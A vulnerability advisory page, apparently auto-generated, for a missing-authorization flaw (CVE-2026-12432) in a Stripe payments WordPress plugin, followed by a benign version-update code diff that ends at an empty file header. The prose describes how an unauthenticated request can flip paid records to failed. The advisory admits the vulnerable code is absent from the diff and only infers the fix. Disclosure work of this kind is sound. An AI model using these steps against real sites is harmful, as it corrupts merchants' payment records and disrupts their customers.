Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : June 26, 2026

CVE-2026-12432: Stripe Payment Forms by WP Full Pay <= 8.4.3 Missing Authorization to Unauthenticated Payment Record Manipulation via 'paymentIntentId' Parameter PoC, Patch Analysis & Rule

Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 8.4.3
Patched Version 8.5.0
Disclosed June 25, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-12432:
This vulnerability allows unauthenticated attackers to manipulate payment records in the WordPress database through the WP Full Stripe Free plugin’s AJAX handler. The issue affects versions up to and including 8.4.3. The flaw enables attackers to change successful payment records to a failed status and overwrite failure codes and messages with attacker-controlled values. Stripe Payment Intent IDs, required for exploitation, are exposed to the customer’s browser during normal Stripe.js checkout flows.

The root cause is a complete absence of security controls in the wpfs_update_failed_payment_status AJAX action. The handler registers through both wp_ajax_ (authenticated) and wp_ajax_nopriv_ (unauthenticated) hooks. The underlying update_failed_payment_status() function contains no capability check, no nonce verification, and no logged-in check. It directly calls $this->db->updatePaymentByEventId() using attacker-controlled POST parameters. The specific vulnerable file is not shown in this diff, but the diff indicates a version upgrade from 8.4.3 to 8.5.0 that includes Composer autoloader changes, suggesting the vulnerable code existed in a separate file that was likely restructured or removed entirely in the patched version.

An unauthenticated attacker can exploit this vulnerability by sending a POST request to /wp-admin/admin-ajax.php with the action parameter set to wpfs_update_failed_payment_status. The attacker must include a valid Stripe Payment Intent ID (obtained from the site’s Stripe.js checkout flow) and can supply arbitrary values for failure code and message parameters. The attacker controls which payment record to target via the paymentIntentId parameter and can set any failure code and message values to overwrite the existing payment data in the database.

The patch upgrades the plugin to version 8.5.0 and significantly restructures the codebase. The Composer autoloader hash changes from 3362b968488bc46a36108054b3a8ba2c to 840fe74f29f6cd297d98a99da192e3d3, indicating a substantial library update. Numerous files receive modifications including admin models, validators, views, and the admin controller. The wpfs-admin.php file gains new payment method support (PayNow), email template customization, and a new showPaymentDetail option. The custom fields system receives a complete overhaul with the addition of MM_WPFS_CustomFields class. The block registration now checks for file existence before registering blocks. The checkout submission service adds duplicate payment detection to prevent multiple processing. These changes collectively remove or fix the vulnerable AJAX endpoint.

Successful exploitation allows an attacker to corrupt payment records in the site’s database. The attacker can mark successful payments as failed, potentially disrupting order fulfillment, subscription management, and payment reconciliation. This could cause financial confusion, trigger false failure notifications to customers, and compromise the integrity of the site’s payment tracking system. The attacker cannot steal payment data but can manipulate the state of payment records, which could lead to business disruption and loss of trust.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wp-full-stripe-free/includes/stripe/autoload.php
+++ b/wp-full-stripe-free/includes/stripe/autoload.php
@@ -19,4 +19,4 @@

 require_once __DIR__ . '/composer/autoload_real.php';

-return ComposerAutoloaderInit3362b968488bc46a36108054b3a8ba2c::getLoader();
+return ComposerAutoloaderInit840fe74f29f6cd297d98a99da192e3d3::getLoader();
--- a/wp-full-stripe-free/includes/stripe/composer/autoload_real.php
+++ b/wp-full-stripe-free/includes/stripe/composer/autoload_real.php
@@ -2,7 +2,7 @@

 // autoload_real.php @generated by Composer

-class ComposerAutoloaderInit3362b968488bc46a36108054b3a8ba2c
+class ComposerAutoloaderInit840fe74f29f6cd297d98a99da192e3d3
 {
     private static $loader;

@@ -24,12 +24,12 @@

         require __DIR__ . '/platform_check.php';

-        spl_autoload_register(array('ComposerAutoloaderInit3362b968488bc46a36108054b3a8ba2c', 'loadClassLoader'), true, true);
+        spl_autoload_register(array('ComposerAutoloaderInit840fe74f29f6cd297d98a99da192e3d3', 'loadClassLoader'), true, true);
         self::$loader = $loader = new StripeWPFSComposerAutoloadClassLoader(dirname(__DIR__));
-        spl_autoload_unregister(array('ComposerAutoloaderInit3362b968488bc46a36108054b3a8ba2c', 'loadClassLoader'));
+        spl_autoload_unregister(array('ComposerAutoloaderInit840fe74f29f6cd297d98a99da192e3d3', 'loadClassLoader'));

         require __DIR__ . '/autoload_static.php';
-        call_user_func(StripeWPFSComposerAutoloadComposerStaticInit3362b968488bc46a36108054b3a8ba2c::getInitializer($loader));
+        call_user_func(StripeWPFSComposerAutoloadComposerStaticInit840fe74f29f6cd297d98a99da192e3d3::getInitializer($loader));

         $loader->setClassMapAuthoritative(true);
         $loader->register(true);
--- a/wp-full-stripe-free/includes/stripe/composer/autoload_static.php
+++ b/wp-full-stripe-free/includes/stripe/composer/autoload_static.php
@@ -4,7 +4,7 @@

 namespace StripeWPFSComposerAutoload;

-class ComposerStaticInit3362b968488bc46a36108054b3a8ba2c
+class ComposerStaticInit840fe74f29f6cd297d98a99da192e3d3
 {
     public static $prefixLengthsPsr4 = array (
         'S' =>
@@ -398,9 +398,9 @@
     public static function getInitializer(ClassLoader $loader)
     {
         return Closure::bind(function () use ($loader) {
-            $loader->prefixLengthsPsr4 = ComposerStaticInit3362b968488bc46a36108054b3a8ba2c::$prefixLengthsPsr4;
-            $loader->prefixDirsPsr4 = ComposerStaticInit3362b968488bc46a36108054b3a8ba2c::$prefixDirsPsr4;
-            $loader->classMap = ComposerStaticInit3362b968488bc46a36108054b3a8ba2c::$classMap;
+            $loader->prefixLengthsPsr4 = ComposerStaticInit840fe74f29f6cd297d98a99da192e3d3::$prefixLengthsPsr4;
+            $loader->prefixDirsPsr4 = ComposerStaticInit840fe74f29f6cd297d98a99da192e3d3::$prefixDirsPsr4;
+            $loader->classMap = ComposerStaticInit840fe74f29f6cd297d98a99da192e3d3::$classMap;

         }, null, ClassLoader::class);
     }
--- a/wp-full-stripe-free/includes/stripe/composer/installed.php
+++ b/wp-full-stripe-free/includes/stripe/composer/installed.php
@@ -2,8 +2,8 @@
   'root' =>
   array (
     'name' => 'codeinwp/wp-full-stripe',
-    'pretty_version' => '8.4.3',
-    'version' => '8.4.3.0',
+    'pretty_version' => '8.5.0',
+    'version' => '8.5.0.0',
     'reference' => NULL,
     'type' => 'wordpress-plugin',
     'install_path' => __DIR__ . '/../',
--- a/wp-full-stripe-free/includes/wpfs-admin-menu.php
+++ b/wp-full-stripe-free/includes/wpfs-admin-menu.php
@@ -2096,12 +2096,14 @@
 		$options = $this->options->getSeveral( [
 			MM_WPFS_Options::OPTION_FILL_IN_EMAIL_FOR_LOGGED_IN_USERS,
 			MM_WPFS_Options::OPTION_SET_FORM_FIELDS_VIA_URL_PARAMETERS,
-			MM_WPFS_Options::OPTION_DEFAULT_BILLING_COUNTRY
+			MM_WPFS_Options::OPTION_DEFAULT_BILLING_COUNTRY,
+			MM_WPFS_Options::OPTION_DEFAULT_SHOW_PAYMENT_DETAIL
 		] );

 		$result->fillInEmailForUsers = $options[ MM_WPFS_Options::OPTION_FILL_IN_EMAIL_FOR_LOGGED_IN_USERS ];
 		$result->setFormFieldsViaUrlParameters = $options[ MM_WPFS_Options::OPTION_SET_FORM_FIELDS_VIA_URL_PARAMETERS ];
 		$result->defaultBillingCountry = $options[ MM_WPFS_Options::OPTION_DEFAULT_BILLING_COUNTRY ];
+		$result->showPaymentDetail = isset( $options[ MM_WPFS_Options::OPTION_DEFAULT_SHOW_PAYMENT_DETAIL ] ) ? $options[ MM_WPFS_Options::OPTION_DEFAULT_SHOW_PAYMENT_DETAIL ] : '1';

 		return $result;
 	}
@@ -2262,12 +2264,23 @@
 		foreach ( $templateDescriptors as $descriptor ) {
 			$result = $descriptor;

-			$type = $descriptor->type;
+			$type = (string) $descriptor->type;
 			if ( property_exists( $templates, $type ) ) {
 				$result->enabled = $templates->{$type}->enabled;
 			} else {
 				$result->enabled = false;
 			}
+			// Per-form subject/body customization is only available for plugin-generated templates; Stripe receipts keep their enabled-only behavior.
+			$result->editable = MM_WPFS_Mailer::isPluginEmailTemplate( $type );
+			$result->subject  = '';
+			$result->body     = '';
+			if ( $result->editable ) {
+				$content = MM_WPFS_Mailer::getFormTemplateContent( $form, $type );
+				if ( $content !== null ) {
+					$result->subject = isset( $content->subject ) ? $content->subject : '';
+					$result->body    = isset( $content->body ) ? $content->body : '';
+				}
+			}

 			array_push( $templateResult, $result );
 		}
@@ -2286,6 +2299,7 @@
 		$data->cardFieldLanguages = MM_WPFS_Languages::getStripeElementsLanguages();
 		$data->customFieldMaxCount = MM_WPFS::getCustomFieldMaxCount( $this->staticContext );
 		$data->customFieldLabels = MM_WPFS_Utils::decodeCustomFieldLabels( $form->customInputs );
+		$data->customFields = MM_WPFS_CustomFields::toConfigJson( MM_WPFS_CustomFields::parse( $form->customInputs, $form->customInputRequired ) );
 		$data->emailTemplates = $this->prepareEmailTemplates( MM_WPFS::FORM_TYPE_INLINE_SAVE_CARD, $form );

 		return $data;
@@ -2302,6 +2316,7 @@
 		$data->checkoutFormLanguages = MM_WPFS_Languages::getCheckoutLanguages();
 		$data->customFieldMaxCount = MM_WPFS::getCustomFieldMaxCount( $this->staticContext );
 		$data->customFieldLabels = MM_WPFS_Utils::decodeCustomFieldLabels( $form->customInputs );
+		$data->customFields = MM_WPFS_CustomFields::toConfigJson( MM_WPFS_CustomFields::parse( $form->customInputs, $form->customInputRequired ) );
 		$data->emailTemplates = $this->prepareEmailTemplates( MM_WPFS::FORM_TYPE_CHECKOUT_SAVE_CARD, $form );

 		return $data;
@@ -2318,6 +2333,7 @@
 		$data->cardFieldLanguages = MM_WPFS_Languages::getStripeElementsLanguages();
 		$data->customFieldMaxCount = MM_WPFS::getCustomFieldMaxCount( $this->staticContext );
 		$data->customFieldLabels = MM_WPFS_Utils::decodeCustomFieldLabels( $form->customInputs );
+		$data->customFields = MM_WPFS_CustomFields::toConfigJson( MM_WPFS_CustomFields::parse( $form->customInputs, $form->customInputRequired ) );
 		$data->emailTemplates = $this->prepareEmailTemplates( MM_WPFS::FORM_TYPE_INLINE_DONATION, $form );
 		$data->currencies = MM_WPFS_Currencies::getAvailableCurrencies();

@@ -2332,6 +2348,7 @@
 		$data->checkoutFormLanguages = MM_WPFS_Languages::getCheckoutLanguages();
 		$data->customFieldMaxCount = MM_WPFS::getCustomFieldMaxCount( $this->staticContext );
 		$data->customFieldLabels = MM_WPFS_Utils::decodeCustomFieldLabels( $form->customInputs );
+		$data->customFields = MM_WPFS_CustomFields::toConfigJson( MM_WPFS_CustomFields::parse( $form->customInputs, $form->customInputRequired ) );
 		$data->emailTemplates = $this->prepareEmailTemplates( MM_WPFS::FORM_TYPE_INLINE_DONATION, $form );
 		$data->currencies = MM_WPFS_Currencies::getAvailableCurrencies();

@@ -2349,6 +2366,7 @@
 		$data->cardFieldLanguages = MM_WPFS_Languages::getStripeElementsLanguages();
 		$data->customFieldMaxCount = MM_WPFS::getCustomFieldMaxCount( $this->staticContext );
 		$data->customFieldLabels = MM_WPFS_Utils::decodeCustomFieldLabels( $form->customInputs );
+		$data->customFields = MM_WPFS_CustomFields::toConfigJson( MM_WPFS_CustomFields::parse( $form->customInputs, $form->customInputRequired ) );
 		$data->emailTemplates = $this->prepareEmailTemplates( MM_WPFS::FORM_TYPE_INLINE_PAYMENT, $form );
 		$data->currencies = MM_WPFS_Currencies::getAvailableCurrencies();
 		$data->products = $this->prepareOnetimeProducts( $form );
@@ -2369,6 +2387,7 @@
 		$data->checkoutFormLanguages = MM_WPFS_Languages::getCheckoutLanguages();
 		$data->customFieldMaxCount = MM_WPFS::getCustomFieldMaxCount( $this->staticContext );
 		$data->customFieldLabels = MM_WPFS_Utils::decodeCustomFieldLabels( $form->customInputs );
+		$data->customFields = MM_WPFS_CustomFields::toConfigJson( MM_WPFS_CustomFields::parse( $form->customInputs, $form->customInputRequired ) );
 		$data->emailTemplates = $this->prepareEmailTemplates( MM_WPFS::FORM_TYPE_CHECKOUT_PAYMENT, $form );
 		$data->currencies = MM_WPFS_Currencies::getAvailableCurrencies();
 		$data->products = $this->prepareOnetimeProducts( $form );
@@ -2445,6 +2464,7 @@
 		$data->cardFieldLanguages = MM_WPFS_Languages::getStripeElementsLanguages();
 		$data->customFieldMaxCount = MM_WPFS::getCustomFieldMaxCount( $this->staticContext );
 		$data->customFieldLabels = MM_WPFS_Utils::decodeCustomFieldLabels( $form->customInputs );
+		$data->customFields = MM_WPFS_CustomFields::toConfigJson( MM_WPFS_CustomFields::parse( $form->customInputs, $form->customInputRequired ) );
 		$data->emailTemplates = $this->prepareEmailTemplates( MM_WPFS::FORM_TYPE_INLINE_SUBSCRIPTION, $form );
 		$data->plans = $this->prepareRecurringProducts( $form );
 		$data->stripeApiModeInteger = MM_WPFS_Admin::getApiModeIntegerFromString( $this->getStripeApiMode() );
@@ -2464,6 +2484,7 @@
 		$data->checkoutFormLanguages = MM_WPFS_Languages::getCheckoutLanguages();
 		$data->customFieldMaxCount = MM_WPFS::getCustomFieldMaxCount( $this->staticContext );
 		$data->customFieldLabels = MM_WPFS_Utils::decodeCustomFieldLabels( $form->customInputs );
+		$data->customFields = MM_WPFS_CustomFields::toConfigJson( MM_WPFS_CustomFields::parse( $form->customInputs, $form->customInputRequired ) );
 		$data->emailTemplates = $this->prepareEmailTemplates( MM_WPFS::FORM_TYPE_CHECKOUT_SUBSCRIPTION, $form );
 		$data->plans = $this->prepareRecurringProducts( $form );
 		$data->stripeApiModeInteger = MM_WPFS_Admin::getApiModeIntegerFromString( $this->getStripeApiMode() );
@@ -3518,6 +3539,11 @@
 			$this->formType === MM_WPFS::FORM_TYPE_CHECKOUT_PAYMENT
 		) {
 			$options['macroKeys'] = MM_WPFS_OneTimePaymentMacroReplacer::getMacroKeys();
+		} elseif (
+			$this->formType === MM_WPFS::FORM_TYPE_INLINE_SUBSCRIPTION ||
+			$this->formType === MM_WPFS::FORM_TYPE_CHECKOUT_SUBSCRIPTION
+		) {
+			$options['macroKeys'] = MM_WPFS_SubscriptionMacroReplacer::getMacroKeys();
 		}

 		return $options;
--- a/wp-full-stripe-free/includes/wpfs-admin-models.php
+++ b/wp-full-stripe-free/includes/wpfs-admin-models.php
@@ -540,6 +540,8 @@
 	protected $defaultBillingCountry;
 	protected $fillInEmail;
 	protected $setFormFieldsViaUrlParameters;
+	/** @var string */
+	protected $showPaymentDetail;

 	public function __construct( $loggerService ) {
 		$this->initLogger( $loggerService, MM_WPFS_LoggerService::MODULE_ADMIN );
@@ -565,6 +567,13 @@
 		return $this->setFormFieldsViaUrlParameters;
 	}

+	/**
+	 * @return string
+	 */
+	public function getShowPaymentDetail() {
+		return $this->showPaymentDetail;
+	}
+
 	public function bind() {
 		return $this->bindByArray( $_POST );
 	}
@@ -575,6 +584,7 @@
 		$this->defaultBillingCountry = $this->getSanitizedArrayParam( $postData, MM_WPFS_Admin_FormsOptionsViewConstants::FIELD_FORMS_OPTIONS_DEFAULT_BILLING_COUNTRY, MM_WPFS::DEFAULT_BILLING_COUNTRY_INITIAL_VALUE );
 		$this->fillInEmail = $this->getSanitizedArrayParam( $postData, MM_WPFS_Admin_FormsOptionsViewConstants::FIELD_FORMS_OPTIONS_FILL_IN_EMAIL, 0 );
 		$this->setFormFieldsViaUrlParameters = $this->getSanitizedArrayParam( $postData, MM_WPFS_Admin_FormsOptionsViewConstants::FIELD_FORMS_OPTIONS_SET_FIELDS_VIA_URL_PARAMETERS, 0 );
+		$this->showPaymentDetail = $this->getSanitizedArrayParam( $postData, MM_WPFS_Admin_FormsOptionsViewConstants::FIELD_FORMS_OPTIONS_SHOW_PAYMENT_DETAIL, '1' );

 		if ( isset( $this->__validator ) ) {
 			$this->__validator->validate( $bindingResult, $this );
@@ -586,7 +596,8 @@
 	public function getData() {
 		$data = [
 			'defaultBillingCountry' => $this->defaultBillingCountry,
-			'fillInEmail' => $this->fillInEmail
+			'fillInEmail' => $this->fillInEmail,
+			'showPaymentDetail' => $this->showPaymentDetail
 		];

 		return $data;
@@ -872,7 +883,9 @@
 		$this->redirectPageOrPostId = $this->getSanitizedArrayParam( $postData, MM_WPFS_Admin_FormViewConstants::FIELD_FORM_REDIRECT_PAGE_POST_ID );
 		$this->redirectURl = $this->getSanitizedArrayParam( $postData, MM_WPFS_Admin_FormViewConstants::FIELD_FORM_REDIRECT_CUSTOM_URL );

-		$this->customFields = $this->getSanitizedArrayParam( $postData, MM_WPFS_Admin_FormViewConstants::FIELD_FORM_CUSTOM_FIELDS );
+		// Bound raw (not text-sanitized) so JSON structure and html block content survive;
+		// MM_WPFS_CustomFields::normalizeFromAdminJson() performs per-field sanitization in getData().
+		$this->customFields = $this->getArrayParam( $postData, MM_WPFS_Admin_FormViewConstants::FIELD_FORM_CUSTOM_FIELDS );
 		$this->makeCustomFieldsRequired = $this->getSanitizedArrayParam( $postData, MM_WPFS_Admin_FormViewConstants::FIELD_FORM_MAKE_CUSTOM_FIELDS_REQUIRED, 0 );

 		$this->webhook = $this->getSanitizedArrayParam( $postData, MM_WPFS_Admin_FormViewConstants::FIELD_FORM_WEBHOOK );
@@ -908,7 +921,7 @@
 			'buttonTitle' => $this->buttonLabel,
 			'showCustomInput' => '1',
 			'customInputRequired' => $this->makeCustomFieldsRequired,
-			'customInputs' => $this->customFields,
+			'customInputs' => MM_WPFS_CustomFields::normalizeFromAdminJson( $this->customFields, MM_WPFS::getCustomFieldMaxCount( $this->staticContext ) ),
 			'redirectOnSuccess' => $this->redirectType !== MM_WPFS::REDIRECT_TYPE_SHOW_CONFIRMATION_MESSAGE ? '1' : '0',
 			'redirectPostID' => $this->redirectPageOrPostId,
 			'redirectUrl' => $this->redirectURl,
--- a/wp-full-stripe-free/includes/wpfs-admin-validators.php
+++ b/wp-full-stripe-free/includes/wpfs-admin-validators.php
@@ -331,6 +331,14 @@
                 __( 'Please select whether form fields can be set via URL parameters', 'wp-full-stripe-free' );
             $bindingResult->addGlobalError( $error );
         }
+
+        $paymentDetailValues = [ '0', '1', '2' ];
+        if ( false === array_search( $formModelObject->getShowPaymentDetail(), $paymentDetailValues ) ) {
+            $error =
+                /* translators: Validation error message when the default payment details display mode is not selected */
+                __( 'Please select how the payment details should be displayed by default', 'wp-full-stripe-free' );
+            $bindingResult->addGlobalError( $error );
+        }
     }
 }

@@ -1274,11 +1282,11 @@
      * @return void
      */
     protected function validateShowPaymentDetail( $bindingResult, $formModel ) {
-        $yesNoValues = [ '0', '1' ];
+        $paymentDetailValues = [ '0', '1', '2' ];

-        if ( false === array_search( $formModel->showPaymentDetail(), $yesNoValues ) ) {
+        if ( false === array_search( $formModel->showPaymentDetail(), $paymentDetailValues ) ) {
             $error =
-                __( 'Please select whether the payment details should be displayed.', 'wp-full-stripe-free' );
+                __( 'Please select how the payment details should be displayed.', 'wp-full-stripe-free' );
             $bindingResult->addGlobalError( $error );
         }
     }
@@ -1473,11 +1481,11 @@
      * @return void
      */
     protected function validateShowPaymentDetail( $bindingResult, $formModel ) {
-        $yesNoValues = [ '0', '1' ];
+        $paymentDetailValues = [ '0', '1', '2' ];

-        if ( false === array_search( $formModel->showPaymentDetail(), $yesNoValues ) ) {
+        if ( false === array_search( $formModel->showPaymentDetail(), $paymentDetailValues ) ) {
             $error =
-                __( 'Please select whether the payment details should be displayed.', 'wp-full-stripe-free' );
+                __( 'Please select how the payment details should be displayed.', 'wp-full-stripe-free' );
             $bindingResult->addGlobalError( $error );
         }
     }
--- a/wp-full-stripe-free/includes/wpfs-admin-views.php
+++ b/wp-full-stripe-free/includes/wpfs-admin-views.php
@@ -1196,6 +1196,7 @@
     const FIELD_FORMS_OPTIONS_DEFAULT_BILLING_COUNTRY       = 'wpfs-forms-default-billing-country';
     const FIELD_FORMS_OPTIONS_FILL_IN_EMAIL                 = 'wpfs-forms-options-fill-in-email';
     const FIELD_FORMS_OPTIONS_SET_FIELDS_VIA_URL_PARAMETERS = 'wpfs-forms-options-set-fields-via-url-parameters';
+    const FIELD_FORMS_OPTIONS_SHOW_PAYMENT_DETAIL           = 'wpfs-forms-options-show-payment-detail';

     const FIELD_ACTION_VALUE_SAVE_FORMS_OPTIONS = 'wpfs-save-forms-options';
 }
@@ -1207,6 +1208,8 @@
     protected $fillInEmailForLoggedInUsers;
     /** @var MM_WPFS_Control */
     protected $setFormFieldsViaUrlParameters;
+    /** @var MM_WPFS_Control */
+    protected $showPaymentDetail;

     /**
      * MM_WPFS_Admin_FormsOptionsView constructor.
@@ -1241,6 +1244,13 @@
             'type'      => 'checkbox',
             'class'     => 'wpfs-form-check-input'
         ]);
+
+        $this->showPaymentDetail = MM_WPFS_ControlUtils::createControl( $this->formHash, MM_WPFS_Admin_FormsOptionsViewConstants::FIELD_FORMS_OPTIONS_SHOW_PAYMENT_DETAIL, null, null,
+            /* translators: Form field label for the global default of how the payment details summary is displayed on new forms */
+            __( 'Default payment details display', 'wp-full-stripe-free' ), null );
+        $this->showPaymentDetail->setAttributes( [
+            'class'     => 'js-selectmenu'
+        ]);
     }

     /**
@@ -1249,7 +1259,8 @@
     public static function getFields() {
         $fields = [
             MM_WPFS_Admin_FormsOptionsViewConstants::FIELD_FORMS_OPTIONS_DEFAULT_BILLING_COUNTRY => MM_WPFS_ControlUtils::input( MM_WPFS_Admin_FormsOptionsViewConstants::FIELD_FORMS_OPTIONS_DEFAULT_BILLING_COUNTRY ),
-            MM_WPFS_Admin_FormsOptionsViewConstants::FIELD_FORMS_OPTIONS_FILL_IN_EMAIL           => MM_WPFS_ControlUtils::input( MM_WPFS_Admin_FormsOptionsViewConstants::FIELD_FORMS_OPTIONS_FILL_IN_EMAIL )
+            MM_WPFS_Admin_FormsOptionsViewConstants::FIELD_FORMS_OPTIONS_FILL_IN_EMAIL           => MM_WPFS_ControlUtils::input( MM_WPFS_Admin_FormsOptionsViewConstants::FIELD_FORMS_OPTIONS_FILL_IN_EMAIL ),
+            MM_WPFS_Admin_FormsOptionsViewConstants::FIELD_FORMS_OPTIONS_SHOW_PAYMENT_DETAIL     => MM_WPFS_ControlUtils::input( MM_WPFS_Admin_FormsOptionsViewConstants::FIELD_FORMS_OPTIONS_SHOW_PAYMENT_DETAIL )
         ];

         return array_merge( $fields, parent::getFields() );
@@ -1288,6 +1299,13 @@
     public function setFormFieldsViaUrlParameters(): MM_WPFS_Control {
         return $this->setFormFieldsViaUrlParameters;
     }
+
+    /**
+     * @return MM_WPFS_Control
+     */
+    public function showPaymentDetail(): MM_WPFS_Control {
+        return $this->showPaymentDetail;
+    }
 }

 interface MM_WPFS_Admin_FormsAppearanceViewConstants {
--- a/wp-full-stripe-free/includes/wpfs-admin.php
+++ b/wp-full-stripe-free/includes/wpfs-admin.php
@@ -537,8 +537,27 @@
 		$emailTemplates = MM_WPFS_Mailer::extractEmailTemplates( $this->staticContext, $formType, $emailTemplatesJson );

 		foreach ( $model->getEmailTemplatesHidden() as $srcTemplate ) {
-			if ( property_exists( $emailTemplates, $srcTemplate->type ) ) {
-				$emailTemplates->{$srcTemplate->type}->enabled = $srcTemplate->enabled;
+			if ( ! is_object( $srcTemplate ) || ! isset( $srcTemplate->type ) || ! is_scalar( $srcTemplate->type ) ) {
+				continue;
+			}
+
+			$type = (string) $srcTemplate->type;
+			if ( property_exists( $emailTemplates, $type ) ) {
+				$emailTemplates->{$type}->enabled = $srcTemplate->enabled;
+				if ( MM_WPFS_Mailer::isPluginEmailTemplate( $type ) ) {
+					$subject = ( isset( $srcTemplate->subject ) && is_scalar( $srcTemplate->subject ) ) ? sanitize_text_field( (string) $srcTemplate->subject ) : '';
+					$body    = ( isset( $srcTemplate->body ) && is_scalar( $srcTemplate->body ) ) ? (string) $srcTemplate->body : '';
+
+					if ( ! isset( $emailTemplates->{$type}->content ) || ! is_object( $emailTemplates->{$type}->content ) ) {
+						$emailTemplates->{$type}->content = new StdClass;
+					}
+					if ( ! isset( $emailTemplates->{$type}->content->default ) || ! is_object( $emailTemplates->{$type}->content->default ) ) {
+						$emailTemplates->{$type}->content->default = new StdClass;
+					}
+
+					$emailTemplates->{$type}->content->default->subject = $subject;
+					$emailTemplates->{$type}->content->default->body    = $body;
+				}
 			}
 		}

@@ -1503,6 +1522,13 @@
 						__( 'Przelewy24', 'wp-full-stripe-free' )
 					];
 					break;
+				case 'paynow':
+					$return = [
+						'wpfs-credit-card wpfs-paynow wpfs-credit-card--lg',
+						/* translators: Label for the PayNow payment method */
+						__( 'PayNow', 'wp-full-stripe-free' )
+					];
+					break;
 				case 'revolut_pay':
 					$return = [
 						'wpfs-credit-card wpfs-revolut wpfs-credit-card--lg',
@@ -2881,6 +2907,7 @@
 			MM_WPFS_Options::OPTION_FILL_IN_EMAIL_FOR_LOGGED_IN_USERS => $formsOptionsModel->getFillInEmail(),
 			MM_WPFS_Options::OPTION_SET_FORM_FIELDS_VIA_URL_PARAMETERS => $formsOptionsModel->getSetFormFieldsViaUrlParameters(),
 			MM_WPFS_Options::OPTION_DEFAULT_BILLING_COUNTRY => $formsOptionsModel->getDefaultBillingCountry(),
+			MM_WPFS_Options::OPTION_DEFAULT_SHOW_PAYMENT_DETAIL => $formsOptionsModel->getShowPaymentDetail(),
 		] );
 	}

@@ -3916,8 +3943,24 @@
 	/** @var MM_WPFS_Database */
 	private $db = null;

+	/** @var MM_WPFS_Options */
+	private $options = null;
+
 	public function __construct() {
 		$this->db = new MM_WPFS_Database();
+		$this->options = new MM_WPFS_Options();
+	}
+
+	/**
+	 * Global default for how the payment details summary is displayed on newly created forms.
+	 * Falls back to "on hover" (1) when the option has not been set yet.
+	 *
+	 * @return string
+	 */
+	private function getDefaultShowPaymentDetail() {
+		$mode = $this->options->get( MM_WPFS_Options::OPTION_DEFAULT_SHOW_PAYMENT_DETAIL );
+
+		return ( is_null( $mode ) || '' === $mode ) ? '1' : $mode;
 	}

 	/**
@@ -3947,6 +3990,7 @@
 		$form['preferredLanguage'] = self::PREFERRED_LANGUAGE_AUTO;
 		$form['decimalSeparator'] = self::DECIMAL_SEPARATOR_DOT;
 		$form['paymentmethods'] = '["card","link"]';
+		$form['showPaymentDetail'] = $this->getDefaultShowPaymentDetail();

 		return $form;
 	}
@@ -3992,6 +4036,7 @@
 		$form['termsOfUseNotCheckedErrorMessage'] = MM_WPFS_Utils::getDefaultTermsOfUseNotCheckedErrorMessage();
 		$form['preferredLanguage'] = self::PREFERRED_LANGUAGE_AUTO;
 		$form['decimalSeparator'] = self::DECIMAL_SEPARATOR_DOT;
+		$form['showPaymentDetail'] = $this->getDefaultShowPaymentDetail();

 		return $form;
 	}
@@ -4033,6 +4078,7 @@
 		$form['decoratedPlans'] = json_encode( [] );
 		$form['vatRateType'] = MM_WPFS::FIELD_VALUE_TAX_RATE_NO_TAX;
 		$form['vatRates'] = json_encode( [] );
+		$form['showPaymentDetail'] = $this->getDefaultShowPaymentDetail();

 		return $form;
 	}
@@ -4076,6 +4122,7 @@
 		$form['decoratedPlans'] = json_encode( [] );
 		$form['vatRateType'] = MM_WPFS::FIELD_VALUE_TAX_RATE_NO_TAX;
 		$form['vatRates'] = json_encode( [] );
+		$form['showPaymentDetail'] = $this->getDefaultShowPaymentDetail();

 		return $form;
 	}
--- a/wp-full-stripe-free/includes/wpfs-block.php
+++ b/wp-full-stripe-free/includes/wpfs-block.php
@@ -22,7 +22,11 @@
 	 * @return void
 	 */
 	public function register_block() {
-		register_block_type( WP_FULL_STRIPE_PATH . '/assets/build' );
+		$block_path = WP_FULL_STRIPE_PATH . '/assets/build';
+
+		if ( file_exists( $block_path . '/block.json' ) ) {
+			register_block_type( $block_path );
+		}
 	}

 	/**
--- a/wp-full-stripe-free/includes/wpfs-checkout-submission-service.php
+++ b/wp-full-stripe-free/includes/wpfs-checkout-submission-service.php
@@ -195,6 +195,21 @@
 		return $this->db->findPopupFormSubmitByHash( $submitHash );
 	}

+	/**
+	 * True if a payment record already exists for this PaymentIntent. Check before handle()
+	 * so notifications fire at most once, even if a prior run left the submission non-terminal.
+	 *
+	 * @param string $formType
+	 * @param StripeWPFSStripePaymentIntent|null $paymentIntent
+	 *
+	 * @return bool
+	 */
+	public function isPaymentAlreadyProcessed( $formType, $paymentIntent ) {
+		$paymentIntentId = ( isset( $paymentIntent ) && isset( $paymentIntent->id ) ) ? $paymentIntent->id : null;
+
+		return $this->db->isCheckoutPaymentProcessedByPaymentIntent( $formType, $paymentIntentId );
+	}
+
 	public function processCheckoutSubmissions() {
 		$this->logger->debug( __FUNCTION__, 'CALLED' );

@@ -346,9 +361,33 @@
 	private function processSinglePopupFormSubmit( $popupFormSubmit ) {
 		try {
 			if ( isset( $popupFormSubmit->checkoutSessionId ) ) {
+				// Skip if the redirect path already handled this record (avoids duplicate emails).
+				$freshSubmit = $this->retrieveSubmitEntry( $popupFormSubmit->hash );
+				$freshStatus = is_object( $freshSubmit ) ? $freshSubmit->status : null;
+				if (
+					! in_array( $freshStatus, [
+						self::POPUP_FORM_SUBMIT_STATUS_CREATED,
+						self::POPUP_FORM_SUBMIT_STATUS_PENDING,
+					], true )
+				) {
+					$this->logger->debug(
+						__FUNCTION__,
+						'Skipping: submission already handled or missing, status=' . ( is_null( $freshStatus ) ? 'not found' : $freshStatus )
+					);
+					return self::PROCESS_RESULT_WAIT_FOR_STATUS_CHANGE;
+				}
+
 				$checkoutSession = $this->retrieveCheckoutSession( $popupFormSubmit->checkoutSessionId );
 				$paymentIntent = $this->findPaymentIntentInCheckoutSession( $checkoutSession );
 				if ( isset( $paymentIntent ) && StripeWPFSStripePaymentIntent::STATUS_SUCCEEDED === $paymentIntent->status ) {
+
+					// Already processed by a prior run: resolve without resending notifications.
+					if ( $this->isPaymentAlreadyProcessed( $popupFormSubmit->formType, $paymentIntent ) ) {
+						$this->logger->debug( __FUNCTION__, 'Payment already processed for PaymentIntent=' . $paymentIntent->id . ', skipping notifications.' );
+
+						return self::PROCESS_RESULT_SET_TO_SUCCESS;
+					}
+
 					$formModel = null;
 					$checkoutChargeHandler = null;
 					if (
--- a/wp-full-stripe-free/includes/wpfs-custom-fields.php
+++ b/wp-full-stripe-free/includes/wpfs-custom-fields.php
